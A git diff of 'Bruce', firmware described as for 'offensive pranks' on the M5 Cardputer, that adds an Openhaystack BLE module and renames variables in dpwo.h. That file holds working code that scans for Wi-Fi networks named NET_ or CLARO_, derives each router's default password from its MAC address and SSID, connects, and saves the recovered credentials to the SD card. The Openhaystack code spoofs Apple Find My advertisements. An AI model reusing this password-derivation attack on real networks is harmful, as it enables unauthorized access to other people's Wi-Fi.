diff --git a/README.md b/README.md index 30e39cf..c932650 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ # M5-Bruce Firmware for offensive pranks to Cardputer -![Bruce](https://github.com/pr3y/m5-bruce/blob/main/pic4.png) ~thx Luidiblu for the image +![Bruce](https://github.com/pr3y/m5-bruce/blob/main/media/pic4.png) ~thx Luidiblu for the image ## Name and Background Forked project, same intentions B) @@ -10,11 +10,11 @@ NEMO is named after the small, clever and stubborn fish in Finding Nemo. This pr Hello, my name is Bruce. -![M5Cardputer](https://github.com/pr3y/m5-bruce/blob/main/pic1.png) +![M5Cardputer](https://github.com/pr3y/m5-bruce/blob/main/media/pic1.png) -![M5Cardputer Main Screen](https://github.com/pr3y/m5-bruce/blob/main/pic2.png) +![M5Cardputer Main Screen](https://github.com/pr3y/m5-bruce/blob/main/media/pic2.png) -![M5Cardputer Wifi Attacks](https://github.com/pr3y/m5-bruce/blob/main/pic3.png) +![M5Cardputer Wifi Attacks](https://github.com/pr3y/m5-bruce/blob/main/media/pic3.png) ## Features * [TV B-Gone](http://www.righto.com/2010/11/improved-arduino-tv-b-gone.html) port (thanks to MrArm's [HAKRWATCH](https://github.com/MrARM/hakrwatch)) to shut off many infrared-controlled TVs, projectors and other devices diff --git a/bruce.ino b/bruce.ino index 672d33f..7ef0c99 100644 --- a/bruce.ino +++ b/bruce.ino @@ -210,6 +210,7 @@ uint16_t FGCOLOR=0x0006; // placeholder // 32 - Wireguard Tunnel // 33 - Select Keyboard Menu // 34 - Bluetooth Keyboard +// 35 - Openhaystack // .. - .. // 97 - Mount/UnMount SD Card on M5Stick devices, if SDCARD is declared @@ -286,6 +287,7 @@ bool clone_flg = false; #include "clients.h" #include "usb.h" #include "wg.h" +#include "openhaystack.h" #include "arp.h" #include #include @@ -448,6 +450,7 @@ MENU mmenu[] = { { "BadUSB", 27}, { "Keyboard", 33}, { "Microphone", 25}, + { "Openhaystack", 35}, { "Settings", 2}, }; int mmenu_size = sizeof(mmenu) / sizeof(MENU); @@ -578,7 +581,6 @@ void dmenu_loop() { /// KEYBOARD MENU /// MENU kbsmenu[] = { { "USB", 29}, - { "BLE", 34}, }; int kbsmenu_size = sizeof(kbsmenu) / sizeof(MENU); @@ -3029,8 +3031,12 @@ void loop() { kbsmenu_setup(); break; case 34: - ble_setup(); + //ble_setup(); break; + case 35: + openhaystack_setup(); + break; + } } @@ -3161,8 +3167,11 @@ void loop() { kbsmenu_loop(); break; case 34: - ble_loop(); + // ble_loop(); break; + case 35: + openhaystack_loop(); + break; #endif // SDCARD M5Stick } } diff --git a/dpwo.h b/dpwo.h index 6091531..eaa84b1 100644 --- a/dpwo.h +++ b/dpwo.h @@ -11,34 +11,34 @@ #define SD_CREDS_PATH "/dpwoCreds.txt" -int apScanned = 0; +int ap_scanned = 0; -void parseBSSID(char* bssidWithoutColon, const char* bssid) { +void parse_BSSID(char* bssid_without_colon, const char* bssid) { int j = 0; for (int i = 0; i < strlen(bssid); ++i) { if (bssid[i] != ':') { - bssidWithoutColon[j++] = bssid[i]; + bssid_without_colon[j++] = bssid[i]; } } - bssidWithoutColon[j] = '\0'; + bssid_without_colon[j] = '\0'; } -void netAp(int i) { - char bssidWithoutColon[18]; - parseBSSID(bssidWithoutColon, WiFi.BSSIDstr(i).c_str()); +void net_ap(int i) { + char bssid_without_colon[18]; + parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str()); Serial.println("MAC addr"); - Serial.println(bssidWithoutColon); + Serial.println(bssid_without_colon); - char *bssidReady = bssidWithoutColon + 4; - bssidReady[strlen(bssidReady)-2] = '\0'; - int ssidLength = WiFi.SSID(i).length(); - if (ssidLength >= 2) { - String lastTwo = WiFi.SSID(i).substring(ssidLength - 2); - strcat(bssidReady, lastTwo.c_str()); + char *bssid_ready = bssid_without_colon + 4; + bssid_ready[strlen(bssid_ready)-2] = '\0'; + int ssid_length = WiFi.SSID(i).length(); + if (ssid_length >= 2) { + String last_two = WiFi.SSID(i).substring(ssid_length - 2); + strcat(bssid_ready, last_two.c_str()); } else { Serial.println("ERROR"); } - WiFi.begin(WiFi.SSID(i).c_str(), bssidReady); + WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready); // TODO: Dont depend on delays and compare the wifi status other way :P delay(2000); while (WiFi.status() != WL_CONNECTED) { @@ -49,24 +49,24 @@ void netAp(int i) { Serial.println("\nWiFi Connected"); WiFi.disconnect(); #if defined(SDCARD) - appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssidReady).c_str()); + appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); Serial.println("\nWrote creds to SD"); #endif DISP.setTextSize(TINY_TEXT); DISP.setTextColor(GREEN, BGCOLOR); - DISP.println(String(WiFi.SSID(i) + ":" + bssidReady).c_str()); + DISP.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); } -void claroAp(int i) { - char bssidWithoutColon[18]; - parseBSSID(bssidWithoutColon, WiFi.BSSIDstr(i).c_str()); +void claro_ap(int i) { + char bssid_without_colon[18]; + parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str()); Serial.println("MAC addr"); - Serial.println(bssidWithoutColon); + Serial.println(bssid_without_colon); - char *bssidReady = bssidWithoutColon + 4; - bssidReady[strlen(bssidReady)-2] = '\0'; - int ssidLength = WiFi.SSID(i).length(); - WiFi.begin(WiFi.SSID(i).c_str(), bssidReady); + char *bssid_ready = bssid_without_colon + 4; + bssid_ready[strlen(bssid_ready)-2] = '\0'; + int ssid_length = WiFi.SSID(i).length(); + WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready); delay(2000); while (WiFi.status() != WL_CONNECTED) { Serial.println("\nNOPE"); @@ -76,44 +76,43 @@ void claroAp(int i) { Serial.println("\nWiFi Connected"); WiFi.disconnect(); #if defined(SDCARD) - appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssidReady).c_str()); - Serial.println("\nWrote creds to SD"); + appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); + Serial.println("\nWrote creds to SD"); #endif DISP.setTextSize(TINY_TEXT); DISP.setTextColor(GREEN, BGCOLOR); - DISP.println(String(WiFi.SSID(i) + ":" + bssidReady).c_str()); + DISP.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); } -void dpwoSetup() { +void dpwo_setup() { Serial.println("Scanning for DPWO..."); WiFi.mode(WIFI_STA); - apScanned = WiFi.scanNetworks(); - Serial.println(apScanned); - + ap_scanned = WiFi.scanNetworks(); + Serial.println(ap_scanned); DISP.setTextColor(FGCOLOR, BGCOLOR); } -void dpwoLoop(){ - if (apScanned == 0) { +void dpwo_loop(){ + if (ap_scanned == 0) { DISP.println("no networks found"); } else { //TODO: Add different functions to match Copel and Vivo regex on SSID also - std::regex netRegex("NET_.*"); - std::regex claroRegex("CLARO_.*"); + std::regex net_regex("NET_.*"); + std::regex claro_regex("CLARO_.*"); //TODO: dont repeat the wifi connection process inside each function, instead work on this loop - for (int i = 0; i < apScanned; ++i) { - if (std::regex_search(WiFi.SSID(i).c_str(), netRegex)) { - netAp(i); + for (int i = 0; i < ap_scanned; ++i) { + if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) { + net_ap(i); Serial.println("NET SSID"); - } else if (std::regex_search(WiFi.SSID(i).c_str(), claroRegex)) { - claroAp(i); + } else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) { + claro_ap(i); Serial.println(WiFi.SSID(i)); Serial.println("CLARO SSID"); @@ -129,12 +128,10 @@ void dpwoLoop(){ } Serial.println("scanning again"); - apScanned = WiFi.scanNetworks(); + ap_scanned = WiFi.scanNetworks(); //TODO: append vulnerable APs and dont repeat the output DISP.println("======"); } - - diff --git a/pic1.png b/media/pic1.png similarity index 100% rename from pic1.png rename to media/pic1.png diff --git a/pic2.png b/media/pic2.png similarity index 100% rename from pic2.png rename to media/pic2.png diff --git a/pic3.png b/media/pic3.png similarity index 100% rename from pic3.png rename to media/pic3.png diff --git a/pic4.png b/media/pic4.png similarity index 100% rename from pic4.png rename to media/pic4.png diff --git a/openhaystack.h b/openhaystack.h new file mode 100644 index 0000000..6d65770 --- /dev/null +++ b/openhaystack.h @@ -0,0 +1,188 @@ +#include +#include +#include +#include + +#include "nvs_flash.h" + +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_gattc_api.h" +#include "esp_gatt_defs.h" +#include "esp_bt_main.h" +#include "esp_bt_defs.h" +#include "freertos/FreeRTOS.h" + +/** Callback function for BT events */ +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param); + +/** Random device address */ +static esp_bd_addr_t rnd_addr = { 0xFF, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }; + +/** Public key on SD **/ +uint8_t public_key_decoded[28]; + +/** Advertisement payload */ +static uint8_t adv_data[31] = { + 0x1e, /* Length (30) */ + 0xff, /* Manufacturer Specific Data (type 0xff) */ + 0x4c, 0x00, /* Company ID (Apple) */ + 0x12, 0x19, /* Offline Finding type and length */ + 0x00, /* State */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, /* First two bits */ + 0x00, /* Hint (0x00) */ +}; + +/* https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/bluetooth/esp_gap_ble.html#_CPPv420esp_ble_adv_params_t */ +static esp_ble_adv_params_t ble_adv_params = { + // Advertising min interval: + // Minimum advertising interval for undirected and low duty cycle + // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800 + // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec + .adv_int_min = 0x0640, // 1s + // Advertising max interval: + // Maximum advertising interval for undirected and low duty cycle + // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800 + // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec + .adv_int_max = 0x0C80, // 2s + // Advertisement type + .adv_type = ADV_TYPE_NONCONN_IND, + // Use the random address + .own_addr_type = BLE_ADDR_TYPE_RANDOM, + // All channels + .channel_map = ADV_CHNL_ALL, + // Allow both scan and connection requests from anyone. + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY, +}; + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) +{ + esp_err_t err; + + switch (event) { + case ESP_GAP_BLE_ADV_DATA_RAW_SET_COMPLETE_EVT: + esp_ble_gap_start_advertising(&ble_adv_params); + break; + + case ESP_GAP_BLE_ADV_START_COMPLETE_EVT: + //adv start complete event to indicate adv start successfully or failed + if ((err = param->adv_start_cmpl.status) != ESP_BT_STATUS_SUCCESS) { + //ESP_LOGE(LOG_TAG, "advertising start failed: %s", esp_err_to_name(err)); + } else { + //ESP_LOGI(LOG_TAG, "advertising has started."); + Serial.print("advertising has started\n"); + + } + break; + + case ESP_GAP_BLE_ADV_STOP_COMPLETE_EVT: + if ((err = param->adv_stop_cmpl.status) != ESP_BT_STATUS_SUCCESS){ + //ESP_LOGE(LOG_TAG, "adv stop failed: %s", esp_err_to_name(err)); + Serial.printf("adv stop failed: %s\n", esp_err_to_name(err)); + } + else { + //ESP_LOGI(LOG_TAG, "stop adv successfully"); + Serial.println("stop adv successfully\n"); + + } + break; + default: + break; + } +} + +void set_addr_from_key(esp_bd_addr_t addr, uint8_t *public_key_decoded) { + addr[0] = public_key_decoded[0] | 0b11000000; + addr[1] = public_key_decoded[1]; + addr[2] = public_key_decoded[2]; + addr[3] = public_key_decoded[3]; + addr[4] = public_key_decoded[4]; + addr[5] = public_key_decoded[5]; +} + +void set_payload_from_key(uint8_t *payload, uint8_t *public_key_decoded) { + // copy last 22 bytes // + memcpy(&payload[7], &public_key_decoded[6], 22); + // append two bits of public key // + payload[29] = public_key_decoded[0] >> 6; +} + + +void openhaystack_setup() +{ + DISP.clear(); + DISP.setCursor(0, 0); + DISP.setTextColor(GREEN, BGCOLOR); + DISP.println("Running openhaystack"); + DISP.setTextColor(FGCOLOR, BGCOLOR); + + esp_bt_controller_enable(ESP_BT_MODE_BLE); + + File file = SD.open("/pub.key"); + if (!file) { + DISP.clear(); + DISP.setCursor(0, 0); + + DISP.setTextColor(RED, BGCOLOR); + Serial.println("Failed to open file"); + DISP.println("No pub.key file\nfound on\nthe SD"); + DISP.setTextColor(FGCOLOR, BGCOLOR); + delay(60000); + return; + } + Serial.println("Got public key from file"); + + size_t bytes_read = file.read(public_key_decoded, 28); + file.close(); + + if (bytes_read != 28) { + Serial.println("Error: Public key isnt a valid format!"); + return; + } + + Serial.printf("application initialized\n"); +} + +void openhaystack_loop(){ + + set_addr_from_key(rnd_addr, public_key_decoded); + set_payload_from_key(adv_data, public_key_decoded); + + //ESP_LOGI(LOG_TAG, "using device address: %02x %02x %02x %02x %02x %02x", rnd_addr[0], rnd_addr[1], rnd_addr[2], rnd_addr[3], rnd_addr[4], rnd_addr[5]); + Serial.printf("using device address: %02x %02x %02x %02x %02x %02x\n", rnd_addr[0], rnd_addr[1], rnd_addr[2], rnd_addr[3], rnd_addr[4], rnd_addr[5]); + DISP.setCursor(0, 20); + DISP.println("using device:"); + DISP.printf("%02x %02x %02x %02x %02x %02x\n", rnd_addr[0], rnd_addr[1], rnd_addr[2], rnd_addr[3], rnd_addr[4], rnd_addr[5]); + + esp_ble_gap_stop_advertising(); + + esp_err_t status; + //register the scan callback function to the gap module + if ((status = esp_ble_gap_register_callback(esp_gap_cb)) != ESP_OK) { + //ESP_LOGE(LOG_TAG, "gap register error: %s", esp_err_to_name(status)); + Serial.printf("gap register error: %s\n", esp_err_to_name(status)); + return; + } + + if ((status = esp_ble_gap_set_rand_addr(rnd_addr)) != ESP_OK) { + //ESP_LOGE(LOG_TAG, "couldn't set random address: %s", esp_err_to_name(status)); + Serial.printf("couldn't set random address: %s\n", esp_err_to_name(status)); + return; + } + if ((esp_ble_gap_config_adv_data_raw((uint8_t*)&adv_data, sizeof(adv_data))) != ESP_OK) { + //ESP_LOGE(LOG_TAG, "couldn't configure BLE adv: %s", esp_err_to_name(status)); + Serial.printf("couldn't configure BLE adv: %s\n", esp_err_to_name(status)); + return; + } + + + //ESP_LOGI(LOG_TAG, "application initialized"); + Serial.println("application initialized"); + Serial.println(status); + + +} + diff --git a/usb.h b/usb.h index 995e16f..105f397 100644 --- a/usb.h +++ b/usb.h @@ -608,58 +608,3 @@ void keyboard_loop() { } -// BLE KEYBOARD -// from https://github.com/T-vK/ESP32-BLE-Keyboard - - -void ble_setup() { - //#include - //BleKeyboard bleKeyboard; - DISP.clear(); - DISP.setTextColor(RED, BGCOLOR); - DISP.println("Will be implemented\non next version"); - DISP.setTextColor(FGCOLOR, BGCOLOR); - //delay(60000); - - - //Serial.begin(115200); - //Serial.println("Starting BLE!"); - //DISP.println("Starting BLE!"); - //BleKeyboard.begin(); -} - -void ble_loop() { - //if(BleKeyboard.isConnected()) { - //Serial.println("Sending 'Hello world'..."); - //bleKeyboard.print("Hello world"); - - //delay(1000); - - //Serial.println("Sending Enter key..."); - //bleKeyboard.write(KEYRETURN); - - //delay(1000); - - //Serial.println("Sending Play/Pause media key..."); - //bleKeyboard.write(KEY_MEDIA_PLAY_PAUSE); - - //delay(1000); - - // - // Below is an example of pressing multiple keyboard modifiers - // which by default is commented out. - // - /* Serial.println("Sending Ctrl+Alt+Delete..."); - bleKeyboard.press(KEYLEFT_CTRL); - bleKeyboard.press(KEYLEFT_ALT); - bleKeyboard.press(KEYDELETE); - delay(100); - bleKeyboard.releaseAll(); - */ - - //} - //Serial.println("Waiting 5 seconds..."); - //delay(5000); -} -#endif -#endif